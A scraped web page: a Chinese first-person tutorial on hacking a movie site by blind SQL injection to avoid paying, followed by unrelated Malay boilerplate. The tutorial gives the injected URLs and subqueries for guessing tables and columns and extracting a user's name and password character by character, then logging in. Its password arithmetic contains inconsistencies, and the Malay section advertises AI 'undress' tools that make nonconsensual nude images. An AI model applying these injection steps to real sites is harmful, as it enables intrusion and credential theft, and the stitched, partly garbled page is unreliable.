SQL注入网站入侵实例_MySQL
这几天闲得无聊,想上网Down几部电影来看,找了找都是要Money的,不爽,花时间跑去汇钱还不如找个有漏洞的黑一黑。于是,计划开始:
(为避免不必要的误会,网址、用户名、密码做了一些修改,不过方法是100%原汁原味)
1.寻找入口
准备:如果你以前没尝试过SQL注入攻击,那应该把HTTP友好提示关闭,这样才能让你清楚看到服务器端返回的提示信息。
尝试几个有传入参数的页面,逐个测试是否有SQL注入漏洞,识别方法为:把网址栏的ID=***x加个号,或在表单输入号,如果提示表达式错误,表示有漏洞可注入,另外,通过这个方式可以得到程序所用的数据库类型。
经测试,发现有几个页面有注入漏洞,决定从http://www.movie.com/movie.ASP?ID=1000入手,输入http://www.movie.com/movie.ASP?ID=1000,得到信息:数据库用是的ACCESS,提示ArticleID=1000附近有表达式错误,嘿,原来是个用文章系统改出来的电影站。
2.观察网站环境
网站提供的功能有:影片分类、影片介绍、影片搜索,影片的ID大概从1000-1500之间。
3.猜表名查清楚敌人情况之后,开始行动
行动的第一步都是从猜表名开始,http://www.movie.com/movie.ASP?ID=1000,把1000改成(select count(1) from user),那么,他原来的SQL语句将会变成:
Select [字段列表] from [影片表] where 影片ID=(select count(1) from user)
如果猜对表名,将有可能出现下面三种情况:
A.显示某部影片的信息(巧合的情况)
B.显示影片找不到(如果有判断是否为EOF)
C.提示错误信息(EOF OR BOF)
如果猜错,将会直接提示找不到表名。
把user,users,member,members,userlist,memberlist,userinfo,admin,manager,用户,yonghu这些常用表名一个个放进去试,一般成功率都不低于80%
结果,成功猜中该网站的用户名表名为users
4.猜列名
至于猜列名,不用我介绍大家都应该清楚怎么做了,把(select count(1) from users)改成(select count(id) from users),如没提示"找不到字段"就表示字段名是正确的,字段一般不用太费力,在Login的时候看看表单的名称就大概可以猜到一些了。
果然,这个网站也不例外,用户表中字段为ID(数字),UserID(文本),Password(文本),积分字段猜得比较费劲,为money
5.锁定目标
让users表只返回money最多的一个记录,以便进行猜解、并避免猜中一些没money的用户名:
http://www.movie.com/movie.ASP?ID=(select 1000 from user where money>1000) 结果:提示子查询不能返回两条以上记录
锁定>10000,提示不变;
锁定>100000,提示找不到记录,说明没有积分大于10万的用户;
从1万到10万逐步缩小范围,得知积分大于25500只有一条记录。
6.计算用户名及密码长度
因为影片的ID大概从1000-1500之间,可以用UserID的长度+1000得出的数(即影片ID)计算用户名长度,键入:
http://www.movie.com/movie.ASP?ID=(select len(UserID) %2B 1000 from user where money>25500)%2B是什么?因为地址栏的+号request出来会变成空格,所以+号要用UrlEncode过的%2B表示。结果返回片名为《双雄》的影片,呵呵,怎么办?不是有搜索功能吗?拿去搜一下,看看影片ID是多少吧。
搜索,得出影片ID是1006,显然,用户名长度为1006-1000=6;同样方法,得出密码的长度为8
7.分步破解用户名
有点SQL应用经验的人应该都想到方法了,来,敲入:
http://www.movie.com/movie.ASP?ID=(select asc(mid(UserID,1,1)) %2B 1000 from user where money>25500)
呵呵,又返回一部影片,搜索一下,影片ID为1104,即asc(mid(UserID,1,1))=104
同样方法,得出:
asc(mid(UserID,2,1))=117
asc(mid(UserID,3,1))=97
asc(mid(UserID,4,1))=106
asc(mid(UserID,5,1))=105
asc(mid(UserID,6,1))=101
因为len(UserID)=6,所以算到第6位就行了,查asc对应表(会编程的可以写几句话算出来),chr(104)=h,chr(117)=u,chr(97)=a,chr(106)=j,chr(105)=i,chr(101)=e
连起来,用户名就是huajie
8.同样的方法破解密码
asc(mid(Password,1,1))=49 => chr(49)=1
asc(mid(Password,2,1))=57 => chr(49)=9
asc(mid(Password,3,1))=55 => chr(49)=7
asc(mid(Password,4,1))=56 => chr(49)=8
asc(mid(Password,5,1))=48 => chr(49)=0
asc(mid(Password,6,1))=55 => chr(49)=7
asc(mid(Password,7,1))=55 => chr(49)=1
asc(mid(Password,8,1))=55 => chr(49)=2
拼起来:19780712,哈哈,又是用生日做密码的!
接下来,输入用户名和密码,登录系统,成功!猜表名列表之前用了30分钟,破解用了15分钟,45分钟搞掂了一个站。接下来做什么?当然是先Down几G的电影下来再说了。

Alat AI Hot

Undresser.AI Undress
Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover
Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Undress AI Tool
Gambar buka pakaian secara percuma

Clothoff.io
Penyingkiran pakaian AI

Video Face Swap
Tukar muka dalam mana-mana video dengan mudah menggunakan alat tukar muka AI percuma kami!

Artikel Panas

Alat panas

Notepad++7.3.1
Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina
Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1
Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6
Alat pembangunan web visual

SublimeText3 versi Mac
Perisian penyuntingan kod peringkat Tuhan (SublimeText3)

Topik panas



Apabila menggunakan sistem Win11, kadangkala anda akan menemui gesaan yang memerlukan anda memasukkan nama pengguna dan kata laluan pentadbir Artikel ini akan membincangkan cara menangani situasi ini. Kaedah 1: 1. Klik [Logo Windows], kemudian tekan [Shift+Restart] untuk memasuki mod selamat atau masukkan mod selamat dengan cara ini: klik menu Mula dan pilih Tetapan. Pilih "Kemas kini dan Keselamatan"; pilih "Mulakan Semula Sekarang" dalam "Pemulihan" selepas memulakan semula dan memasukkan pilihan, pilih - Selesaikan Masalah - Pilihan Lanjutan - Tetapan Permulaan -&mdash

Pada masa awal media sosial, anda boleh menukar nama profil anda beberapa kali, tetapi kini menukar nama anda pada mana-mana apl media sosial disertakan dengan set sekatannya sendiri. Jika anda ingin menukar nama paparan atau nama pengguna anda di Instagram, siaran di bawah akan menerangkan kekerapan anda boleh menukarnya, cara melakukannya dan perkara yang boleh anda lakukan apabila anda tidak boleh menukar nama anda pada platform . Bagaimana untuk menukar nama paparan dan nama pengguna di Instagram? Instagram menawarkan dua tempat untuk nama anda - nama paparan dan nama pengguna anda, dan nasib baik anda boleh menukar kedua-duanya dengan mudah dalam apl mudah alih. Nama paparan ialah nama yang biasa anda masukkan benar

OOBE atau pengalaman luar kotak ialah proses yang direka untuk pengguna membimbing mereka melalui pelbagai peringkat langkah selepas pemasangan. Ini termasuk halaman hak dan perjanjian, halaman log masuk, pilihan sambungan WiFi atau rangkaian, dsb. Jika anda menerima sebarang isu OOBEKeyboard, OOBELOCAL atau OOBEREGION, anda tidak akan dapat meneruskan ke langkah pemasangan terakhir. jangan risau. Terdapat beberapa pembetulan mudah yang boleh anda gunakan untuk menyelesaikan isu ini. Penyelesaian - Sebelum anda melakukan apa-apa lagi, cuba penyelesaian biasa ini - 1. Apabila anda mendapat gesaan ralat, teruskan dan klik pada gesaan "Cuba Lagi". Teruskan mencuba sekurang-kurangnya 7 hingga 8 kali lagi. 2. Periksa ketersambungan rangkaian. Jika anda menggunakan sambungan Ethernet atau Wi-Fi

Pada masa kini, ramai pengguna Windows yang suka permainan telah memasuki klien Steam dan boleh mencari, memuat turun dan bermain mana-mana permainan yang bagus. Walau bagaimanapun, kebanyakan profil pengguna mungkin mempunyai nama yang sama, menjadikannya sukar untuk mencari profil atau memautkan profil Steam ke akaun pihak ketiga yang lain atau menyertai forum Steam untuk berkongsi kandungan. Profil tersebut diberikan id 17 digit yang unik, yang kekal sama dan tidak boleh ditukar oleh pengguna pada bila-bila masa, manakala nama pengguna atau URL tersuai boleh. Walau apa pun, sesetengah pengguna tidak mengetahui Steamid mereka, dan penting untuk mengetahui perkara ini. Jangan panik jika anda juga tidak tahu cara mencari Steamid akaun anda. Dalam artikel ini

Bagaimana untuk mengisi nama pengguna Railway 12306 Anda boleh mengisi nama pengguna di Railway 12306 APP, tetapi kebanyakan rakan tidak tahu bagaimana untuk mengisi nama pengguna Railway 12306. Seterusnya ialah tutorial grafik cara mengisi dalam nama pengguna Railway 12306 yang dibawa oleh editor , pengguna yang berminat datang dan lihat! Tutorial penggunaan Railway 12306 Cara mengisi nama pengguna Railway 12306 1. Mula-mula buka APP Railway 12306 dan klik [Daftar] di bahagian bawah halaman utama 2. Kemudian pada halaman fungsi pendaftaran, masukkan nama pengguna, kata laluan, pengesahan kata laluan, dll.; 3. Akhir sekali masukkan Setelah selesai, anda boleh mengisi pendaftaran pengguna.

Nama pengguna wifi merujuk kepada nama pengguna pentadbiran penghala wayarles ini nama pengguna, alamat IP penghala, dan kata laluan pentadbiran lalai biasanya dicetak di bahagian bawah penghala wayarles dan juga boleh didapati dalam manual penghala wayarles. ; pengguna pentadbiran lalai kebanyakan penghala Namanya adalah pentadbir, dan kata laluan pengurusan juga pentadbir.

Bagaimana untuk menukar nama pengguna dalam Google Chrome? Pada masa kini, semakin ramai orang suka menggunakan Google Chrome Penyemak imbas ini boleh memberikan pengguna dengan fungsi dan perkhidmatan yang kaya. Pengguna boleh mengalami semua fungsi selepas log masuk ke akaun mereka semua orang nak tahu macam mana nak tukar username nanti. Artikel ini akan memperkenalkan kepada anda langkah-langkah untuk menukar nama pengguna anda dengan cepat pada Google Chrome Anda mungkin ingin melihat dan mengetahui lebih lanjut. Pengenalan kepada langkah-langkah untuk menukar nama pengguna dengan cepat dalam Google Chrome 1. Pada langkah pertama, selepas kita membuka Google Chrome, buka tiga ikon titik menegak di sudut kanan atas halaman (seperti yang ditunjukkan dalam gambar). 2. Dalam langkah kedua, selepas membuka ikon tiga titik menegak, kami klik untuk membuka pilihan "Tetapan" dalam senarai menu (seperti yang ditunjukkan dalam rajah)

Berita Zhongguancun: Pada pagi 18 April, Huawei secara tiba-tiba mengumumkan bahawa telefon mudah alih siri P70 dijual secara rasmi di bawah Pelan Perintis yang ingin membeli harus bersedia untuk mengambil tindakan, telefon bimbit unggulan Huawei sangat popular dan akan sentiasa kehabisan stok. Kali ini siri Huawei P70 telah dinamakan semula sebagai Pura, yang bermaksud tulen. Sebelum ini, Yu Chengdong dari Huawei berkata: Sejak 2012, telefon pintar siri P Huawei seperti rakan kongsi setia, menemani ratusan juta pengguna di seluruh dunia untuk menghabiskan detik-detik berharga yang tidak terkira banyaknya dan bersama-sama menyaksikan keindahan dan keseronokan hidup. Beliau amat merasakan bahawa kepercayaan dan kasih sayang yang diberikan oleh setiap pengguna yang memilih siri P Huawei adalah sama dengan daya penggerak yang kuat, sentiasa memberi inspirasi kepada Huawei untuk bergerak maju dengan teguh di atas jalan inovasi. Pura bermaksud suci.
